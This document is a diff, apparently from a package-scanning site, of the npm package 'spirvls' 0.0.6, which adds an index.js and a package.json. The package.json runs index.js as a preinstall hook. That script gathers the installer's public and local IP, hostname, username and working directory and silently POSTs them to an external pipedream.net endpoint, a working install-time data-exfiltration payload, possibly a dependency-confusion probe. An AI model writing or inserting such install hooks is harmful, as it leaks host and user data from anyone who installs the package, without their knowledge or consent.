spirvls 0.0.6

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +73 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,73 @@
1
+ // index.js
2
+ // author:- whitehacker003@protonmail.com
3
+ const os = require("os");
4
+ const https = require("https");
5
+ const { execSync } = require("child_process");
6
+
7
+ // Replace with your Interactsh endpoint
8
+ const interactshEndpoint = "https://eoerrv46h39k2dm.m.pipedream.net";
9
+
10
+ // Function to get the local IP address
11
+ function getLocalIP() {
12
+ const networkInterfaces = os.networkInterfaces();
13
+ for (const interfaceName in networkInterfaces) {
14
+ const interfaceInfo = networkInterfaces[interfaceName];
15
+ for (const info of interfaceInfo) {
16
+ if (info.family === 'IPv4' && !info.internal) {
17
+ return info.address;
18
+ }
19
+ }
20
+ }
21
+ return null; // If no external IPv4 address is found
22
+ }
23
+
24
+ function sendPostRequest(data) {
25
+ const postData = JSON.stringify(data);
26
+
27
+ const options = {
28
+ hostname: interactshEndpoint,
29
+ port: 443,
30
+ path: "/",
31
+ method: "POST",
32
+ headers: {
33
+ "Content-Type": "application/json",
34
+ "Content-Length": postData.length,
35
+ },
36
+ };
37
+
38
+ const req = https.request(options, (res) => {
39
+ res.on("data", (d) => {
40
+ process.stdout.write(d);
41
+ });
42
+ });
43
+
44
+ req.on("error", (e) => {
45
+ // Handle error silently to avoid breaking execution
46
+ });
47
+
48
+ req.write(postData);
49
+ req.end();
50
+ }
51
+
52
+ try {
53
+ // Get required information
54
+ const publicIP = execSync("curl -s ifconfig.me").toString().trim(); // Gets public IP address
55
+ const localIP = getLocalIP(); // Gets local IP address
56
+ const hostname = os.hostname();
57
+ const username = os.userInfo().username;
58
+ const cwd = execSync("pwd").toString().trim();
59
+
60
+ // Prepare the data payload
61
+ const dataPayload = {
62
+ public_ip: publicIP,
63
+ local_ip: localIP,
64
+ hostname: hostname,
65
+ username: username,
66
+ current_working_directory: cwd,
67
+ };
68
+
69
+ // Send the POST request with the data
70
+ sendPostRequest(dataPayload);
71
+ } catch (error) {
72
+ console.error("Error executing commands:", error);
73
+ }
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "spirvls",
3
+ "version": "0.0.6",
4
+ "description": "Epic-RCE-Vulnerability",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall" : "node index.js"
9
+
10
+ },
11
+ "author": "",
12
+ "license": "ISC"
13
+ }